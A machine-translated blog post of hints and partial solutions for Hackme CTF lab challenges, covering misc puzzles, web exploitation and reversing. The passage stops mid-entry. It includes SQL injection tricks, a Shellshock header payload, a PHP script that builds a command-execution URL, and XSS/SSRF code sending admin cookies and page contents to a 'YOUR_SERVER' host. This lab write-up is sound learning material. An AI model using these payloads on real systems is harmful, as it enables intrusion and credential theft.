Some Solving Insights and Tips for Hackme CTF Practice Site

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This article is used to record some things I learned from solving some problems on Hackme CTF. It won't directly write out the complete solutions. The main purpose is for me to remember these things more easily in the future, serving as a note.

The content will be updated slowly according to my solving progress, last updated on 2021/01/29.

Misc

flag

As the hint says, just use Regex to find it. But note that there won't be any special symbols inside the FLAG{...} brackets.

corgi can fly

Just follow its instructions and use stegsolve to find it.

television

Open HxD and search, or directly use strings to search.

big

Use file to check the file format, then decompress it. It has two layers, the second layer is 16GB, so be careful. Open the final file with HxD to search, or use strings.

encoder

Follow the logic given in encoder.py and reverse it. It's easier to solve this with Python 2 because you can directly copy the original functions and make small modifications.

slow

This problem responds very slowly, but through different tests, you will find that the speed varies with different inputs. For example, FLAG{ is slower compared to ABCD{, so you can use a timing attack:

const { Socket } = require('net')

function test(flag) {
	return new Promise(resolve => {
		let start
		const socket = new Socket()
		socket.connect({ host: 'hackme.inndy.tw', port: 7708 })
		socket.on('data', d => {
			const s = d.toString()
			for (const line of s.split('\n')) {
				if (line.includes('flag?')) {
					start = Date.now()
					socket.write(flag + '\n')
				} else if (line.includes('Bye')) {
					resolve(Date.now() - start)
					socket.destroy()
				}
			}
		})
	})
}
function maxmin(arr) {
	let mx = Number.MIN_SAFE_INTEGER
	let mxi = -1
	let mn = Number.MAX_SAFE_INTEGER
	let mni = -1
	for (let i = 0; i < arr.length; i++) {
		if (arr[i] > mx) {
			mx = arr[i]
			mxi = i
		}
		if (arr[i] < mn) {
			mn = arr[i]
			mni = i
		}
	}
	return [mxi, mni]
}
;(async () => {
	const chs = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'.split('')
	let flag = ''
	while (true) {
		const ps = chs.map(c => `FLAG{${flag}${c}`).map(test)
		const result = await Promise.all(ps)
		const [mxi, mni] = maxmin(result)
		if (result[mxi] - result[mni] < 500) break
		flag += chs[mxi]
		console.log(`FLAG{${flag}}`)
	}
	console.log(`FLAG{${flag}}`)
})()

It takes nearly 10 minutes to brute force, so be patient.

The reason for using node.js is that it's easier to write programs that send parallel requests.

pusheen.txt

Pay attention to the color of the cat.

drvtry vpfr

This looks like a substitution cipher, but at first, I had no clue, so I googled the problem title and got results for secret code...

I wondered if Google had some weird decoding function, so I searched the encrypted flag but got no results. I wanted to know what encoding method this was, but couldn't find much information on Google because it kept correcting to secret code. So I switched to DuckDuckGo and found some interesting results, like entire websites written in this method and people using this language to communicate on various forums. Eventually, I found the encoding principle here, which is typing each letter by pressing the key to its right. For example, typing star burst stream would result in dyst nitdy dytrs.

So it's easy to write a decoding program:

ch = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ{}'
sc = 'snvfrghjokl;,mp[wtdyibecuxSNVFRGHJOKL:<MP{WTDYIBECUZ}|' # Keyboard right shift 1 key

Ti = str.maketrans(sc, ch)

print('drvtry vpfr'.translate(T))
print('G:SH}Djogy <u Lrunpstf Smf Yu[omh Dp,ryjomh|'.translate(T))

K nry upi eo;; frvpfr yjod ,rddshr

BZBZ

As soon as you enter, it tells you You must be an employee from bilibili!, so think about how to log in with an employee account. A quick Google search will tell you their format is xxx@bilibili.com. After entering, it will give you the next hint: Do you like golang? We use golang for our service and it was opensourced.. This refers to the Bilibili source code leak incident, so find a backup of the source code, clone it, and search for some account passwords to log in.

The email I successfully tested was melloi@bilibili.com.

Web

hide and seek

Check the source code.

guestbook

Follow the hint and use sqlmap to solve it easily.

LFI

Observe the URL, does it look like it's reading a file? Then study the usage of php://filter.

homepage

The console is your friend.

PS: That weird JavaScript file is encoded by aaencode, but this information is irrelevant to solving the problem.

ping

Think about how bash can execute commands in parameters? $(cmd) `cmd`

What methods can read files and print them? cat head tail

What methods can read files without typing the full name? *

scoreboard

If the HTML source code doesn't hide the FLAG, where else could information be hidden? Think about what HTTP has.

login as admin 0

SQL Injection

The source code tells you that ' will be converted to \', so is there a way to handle the annoying \ in front of \'? Hint: \\ -> \

Then try using ORDER BY or LIMIT to select the admin account.

login as admin 0.1

An extension of the previous problem, use Union Query.

Some MySQL techniques that might be used:

SELECT 1,1,column_name,1 FROM whatever_table; # 把 SELECT 的結果變成想要的格式
SELECT table_name FROM information_schema.tables WHERE table_schema = database(); # 取得表格名稱
SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = "whatever_table"; # 取得欄位名稱

login as admin 1

In SQL, OR 1=1 and OR/**/1=1 are equivalent.

login as admin 3

Study the PHP weak comparison table, "php" == 0 results in true.

Also, remember that JSON format contains type information.

login as admin 4

Redirect, instant solve.

login as admin 6

The extract() function assigns the key => value pairs in your object to $key variables, and if a variable already exists, it will overwrite it, like this:

$a = 1;
$ar = [
	'a' => 3,
	'b' => 4
];
extract($ar);
echo $a === 3 && $b === 4; // 1

login as admin 7

Another PHP weak comparison issue, but this time both sides are strings.

After reading this stackoverflow question, you should understand.

login as admin 8

The source code tells you that the session handling is hidden, and checking the cookie reveals login8cookie and login8sha512. The cookie part is URL encoded. After decoding and trying to copy it to other online sha512 tools, I found that only a small part was copied, which confused me. Then I realized that the default cookie contains %00, which decodes to a null byte, so the system (Windows) clipboard treats it as the end...

My solution was to open SHA512 Online, use devtool to paste the cookie, and check if sha512(decodeURIComponent(cookie)) matches the given value. It did, so I just needed to modify the cookie and update the sha512.

After decoding the cookie, I noticed is_admin, so I changed it to 1, updated the sha512, and refreshed to see the flag.

login as admin 8.1

The flag from the previous problem mentions object injection, so I researched and found that PHP has serialize and unserialize functions that encode data in a special format, which matches the cookie format.

Reading the cookie again, I found debug, a boolean variable with a default value of 0. The source code checks for debug=1 to enter session debug mode, but it always says Debug mode is not enabled, so I guessed that was the debug mode value.

After modifying the cookie and adding debug=1 to the URL, I entered debug mode, but it was the same as show_source=1, which was confusing.

Further inspection of the cookie revealed debug_dump with index.php, which seemed to specify the debug mode output file. Changing index.php to session.php revealed the source code.

Remember to update the string length when changing strings, or unserialize will fail, e.g., s:9 -> s:11.

The source code only allows reading files in that directory, and there was no flag. Changing it to read config.php revealed the flags for the previous and current problems.

dafuq-manager 1

Logging in as a guest allows downloading the website's source code, which is recommended to read. The hint also tells you to modify the cookie, so change show_hidden to yes to find the flag.

Inner thoughts: Reading that source code was painful... so many global variables...

dafuq-manager 2

The previous problem indicated that the flag requires logging in as admin, so find the admin password. The credentials are in .config/.htusers.php, but the source code version is empty, so read the file.

Reading the fun_edit.php edit_file function reveals the key is get_show_item. The previous problem's cookie change allows reading many files.

Next, find the data folder in the source code to understand the structure. On the edit page, use item=../../.config/.htusers.php to read user data. After obtaining the admin password hash, use a lookup table to find how do you turn this on. Logging in reveals the flag.

dafuq-manager 3

The previous problem indicated the flag is in the flag3 file in the web directory and requires a shell. Searching for exec finds fun_debug.php, the key file. Change the action parameter to debug to call this file.

The do_debug function has the following lines, relying on strcmp returning 0 when $dir is not a string. Passing dir[]=1 solves it.

$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
	show_error('You are not hacky enough :(');
}

The rest involves base64 and hash to execute commands. Use the following PHP code. Remember that PHP strings can be called as functions, bypassing the function blacklist.

<?php
$sec='KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
#$cmd='var_dump(scandir("/var/www/webhdisk/flag3"));'; # read dir, PS: the file flag3 isn't directly readable
#$cmd='echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/Makefile")."</pre>";'; # see Makefile about usage
#$cmd='echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/meow.c")."</pre>";'; # see source code
$cmd='$a="ex";$b="ec";$e=$a.$b;echo $e("cd /var/www/webhdisk/flag3/ && ./meow ./flag3");'; # execute to get flag
$hmac=hash_hmac('sha256',$cmd,$sec);
$base='https://dafuq-manager.hackme.inndy.tw/index.php?action=debug&dir[]=1&command=';
$url=$base.urlencode(base64_encode($cmd).'.'.$hmac)."\n";
echo $url;

wordpress 1

In the post list, find a post called "Backup File" with a Dropbox link to the source code. Download it. Open it in vscode, search for flag, and carefully look for suspicious content. There is some.

In wp-content/plugins/core.php, find suspicious content. The password hash can be found in an md5 lookup table as cat flag, but entering it still doesn't work because it only allows access from 127.0.0.1. Check the wp_get_user_ip function, which reads the IP from $_SERVER['HTTP_X_FORWARDED_FOR']. Add an X-Forwarded-For: 127.0.0.1 header to get the flag.

wordpress 2

The previous problem's flag indicated the theme, so search within it. (I checked other writeups for hints because I was lazy...)

The target file is wp-content/themes/astrid/template-parts/content-search.php (search page), with a suspicious line:

<!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> -->

This retrieves the current post's post_* content, using post_{debug} if the debug parameter is present, otherwise post_type.

For the strange syntax, refer to these two: 1 2

How do we know what to retrieve? Searching for an empty string on the second page reveals an encrypted post called FLAG2. Referencing the official post object, find post_password. The target URL is: https://wp.hackme.inndy.tw/page/2?s=&debug=password.

Enter the password to get the flag.

webshell

Check the source code and modify the PHP to get the backend PHP source code. Generate the corresponding query string based on the code. Note that (a^b)^b=a and which variable is being hashed.

<?php
$ip = "YOUR_IP_HERE";
$executed_cmd = $_GET['cmd'];

$cmd = hash('SHA512', $ip) ^ (string)$executed_cmd;
$key = $_SERVER['HTTP_USER_AGENT'] . sha1("webshell.hackme.inndy.tw");
$sig = hash_hmac('SHA512', $executed_cmd, $key);
echo "cmd=".urlencode($cmd)."&sig=".$sig;

Remember that the flag is hidden in a hidden file.

command-executor

First, explore the website's features. Quickly find that the func parameter seems related to the filename, so test func=ls, which provides a convenient ls tool for exploring the system. Exploring the file system reveals several flag-related files in the root directory. However, we currently only have permission to list files, not read them.

Revisiting the func parameter, it likely involves include, e.g., include("$func.php");. Use LFI to read files, e.g., func=php://filter/read=convert.base64-encode/resource=ls to read ls.php, so index.php can also be read.

The index.php content reveals a WAF blocking flag and ()\s*{\s*:;\s*};, likely to block shell commands.

The key line is:

foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

The putenv function is suspicious. Searching for putenv php exploit finds ShellShock, a bash bug executing functions from environment variables. The payload () { :;}; echo vulnerable matches the WAF regex.

To execute shell commands, bypass the regex with () { _:; };. Send a header like X-C8763: () { _:; }; echo hello.

If a command has no output, it might be outputting to stderr. Add 2>&1.

Commands like cat might not work directly; use /bin/cat.

Read the /flag file, but only root can read it. Read /flag-reader.c, which generates 16 bytes of data and outputs it. Inputting the same data reads the flag with root privileges. Pipe stdout back to stdin to solve it.

Since writing to files is restricted, check if /tmp or /var/tmp is writable. Write to /var/tmp and read the file to see the flag.

xssme

After registering, you receive an email from admin saying I will read all your mails but never reply. This means admin will open your emails, giving an XSS opportunity (likely simulated with a headless browser).

For XSS payloads, refer to this resource. Some payloads are blocked, but others work, e.g., <svg/onload="">.

You might need a server to receive XSS requests and read data. I used codesandbox to set up a simple node.js express server to log received paths.

Use location.href='https://YOUR_SERVER/test' to send requests. If blocked characters are encountered, use HTML entities to encode them, e.g., this.

To get the admin cookie (document.cookie), append it to the URL, optionally encoding it (btoa encodeURIComponent).

After obtaining the cookie, find the flag inside.

xssrf leak

This problem extends xssme, requiring you to find the flag from a PHP source code.

The previous problem's cookie includes PHPSESSID, but it's invalid because access is restricted to localhost. Changing X-Forwarded-For also doesn't work.

Revisiting the problem title, xssrf suggests Server-side request forgery. Use Ajax to fetch internal data. The simulated JS environment is old, so fetch, () => {}, and XMLHttpRequest.prototype.onload are unsupported. Use an older method for Ajax:

xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
	if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
		location.href = 'https://YOUR_SERVER/' + btoa(xhr.responseText)
	}
}
xhr.open('GET', '.') // '.' 可以換成其他頁面,如果只是要存取它開你信件的話其實也不用 Ajax,直接 document.body.innerHTML 解決
xhr.send()

First, fetch the admin's email page source code. The menu reveals additional pages like setadmin.php and request.php. Use the same method to fetch these pages' source codes, guess their functions, and test them. request.php seems to send requests to external URLs (test it yourself), possibly using file_get_contents.

To read files, use ./config.php or file:// URIs. The latter requires absolute paths, so guess the directory structure. The correct path is /var/www/html/config.php. Reading this file reveals the flag.

PS: Reading request.php shows it uses shell_exec curl escapeshellarg, so only file:// URIs can read files.

Reversing

helloworld

Decompile the executable, find the main function, and quickly locate the magic number.

simple

ltrace, Rot cipher, and Ascii.

passthis

Decompile the executable, search for output, and find the main function. It reads input, checks if the first character is 0x46 (F), and continues with a strange rule. Write a loop to test the next character, finding L as the second character. Guessing FLAG{ as the prefix works. Write a simple Python program to brute force the flag:

from pwn import * # pwntools

context.log_level = 'ERROR'
flag = 'FLAG{'

while True:
    for x in range(30, 150):
        c = chr(x)
        p = process('./passthis.exe')
        f = flag+c
        b = bytearray(f, 'ascii')
        try:
            p.sendline(b)
        except EOFError:
            print('eof')
        r = p.recvline()
        if 'Good' in r.decode('ascii'):
            print(f'Good char {c}')
            flag = f
            p.close()
            break
        else:
            p.close()
    print(flag)

pyyy

Decompile the pyc file, modify the input check, and run it to output the FLAG.

accumulator

Decompile and find that it reads input, calculates its sha512, and checks the hash and original string with a function. Dump the memory block and reverse it using subtraction.

Dump: dump binary memory data.bin 0x601080 0x601398 (gdb)

import os
data = []
with open('./data.bin', 'rb') as f:
    sz = f.seek(0, os.SEEK_END)
    f.seek(0)
    for i in range(sz//4):
        data.append(int.from_bytes(f.read(4), byteorder='little'))

decoded = [b-a for a, b in zip(data[:-1], data[1:])]
print(''.join(map(chr, decoded)))

This reveals the sha512 value and flag, though the sha512 seems unnecessary since the plaintext prefix is known.

GCCC

Open with IDA to see C#-like function names, suggesting a C# program. Use dotPeek for decompilation.

Load the file to see the logic clearly. It reads a value, processes it, checks conditions, and generates the flag. Solve for the value using z3:

from z3 import *

numArray = bytearray([164, 25, 4, 130, 126, 158, 91, 199, 173, 252, 239, 143, 150,
                      251, 126, 39, 104, 104, 146, 208, 249, 9, 219, 208, 101, 182, 62, 92, 6, 27, 5, 46])

chrs = list("ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ")

s = Solver()
result = BitVec('result', 40)  # 32+8 for shifting

s.add(result >= 1 << 31)
s.add(result <= 1 << 32)

num = 0
for i in range(32):
    c = numArray[i] ^ Extract(i+7, i, result) ^ num
    if i < 5:
        x = list("FLAG{")
        s.add(c == ord(x[i]))
    elif i == 31:
        s.add(c == ord('}'))
    else:
        s.add(Or([c == ord(x) for x in chrs]))
    num ^= numArray[i]

if s.check() == sat:
    print(s.model())
else:
    print('unsat')
    print(s.unsat_core())

After solving, input the value into the program to get the flag.

ccc

Decompile and find the verify function, which calculates crc32(input[0:3]), crc32(input[0:6]), up to crc32(input[0:42]), comparing each with a hashes array. Brute force each character in chunks of three:

from binascii import crc32
from itertools import product

hashes = [0xd641596f, 0x80a3e990, 0xc98d5c9b, 0x0d05afaf, 0x1372a12d, 0x5d5f117b, 0x4001fbfd, 0xa7d2d56b, 0x7d04fb7e, 0x2e42895e, 0x61c97eb3, 0x84ab43c3,
          0x9fc129dd, 0xf4592f4d]

chs = [chr(x) for x in range(30, 128)]

flag = ''

for h in hashes:
    for x in product(chs, chs, chs):
        y = ''.join(x)
        if crc32(bytearray(flag+y, 'ascii')) == h:
            flag += y
            break
    print(flag)

Sometimes brute force is simpler, as z3 didn't work for me.

bitx

The program asks for the flag as a parameter and verifies it. Decompile and find verify(argv[1]), the key function.

verify in IDA:

int __cdecl verify(int input)
{
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; *(_BYTE *)(i + input) && *(_BYTE *)(i + 134520896); ++i )
  {
    if ( *(_BYTE *)(i + input) + 9 != (((*(_BYTE *)(i + 134520896) & 0xAA) >> 1) | (unsigned __int8)(2 * (*(_BYTE *)(i + 134520896) & 0x55))) )
      return 0;
  }
  return 1;
}

It reads from a suspicious memory location 134520896 (0x804a040). Check this memory to find 42 bytes of data. The loop reads a string and compares it with the memory data using a simple condition: input[i]+9 != (((data[i] & 0xAA) >> 1) | (2*(data[i] & 0x55))). Brute force input[i] using z3:

from z3 import *

data = [0x8F, 0xAA, 0x85, 0xA0, 0x48, 0xAC, 0x40, 0x95, 0xB6, 0x16, 0xBE, 0x40, 0xB4, 0x16, 0x97, 0xB1, 0xBE, 0xBC, 0x16, 0xB1,
        0xBC, 0x16, 0x9D, 0x95, 0xBC, 0x41, 0x16, 0x36, 0x42, 0x95, 0x95, 0x16, 0x40, 0xB1, 0xBE, 0xB2, 0x16, 0x36, 0x42, 0x3D, 0x3D, 0x49]

l = len(data)
flag = BitVec('flag', l*8)

s = Solver()

for i in range(l):
    byte = Extract((i+1)*8-1, i*8, flag)
    s.add(byte+9 == (((data[i] & 0xAA) >> 1) | (2*(data[i] & 0x55))))

if s.check() == sat:
    fl = s.model()[flag].as_long()
    bs = bytes.fromhex(hex(fl)[2:])
    print(''.join([chr(b) for b in bs])[::-1])
else:
    print('unsat')

2018-rev

The program requires specific parameters. Use argv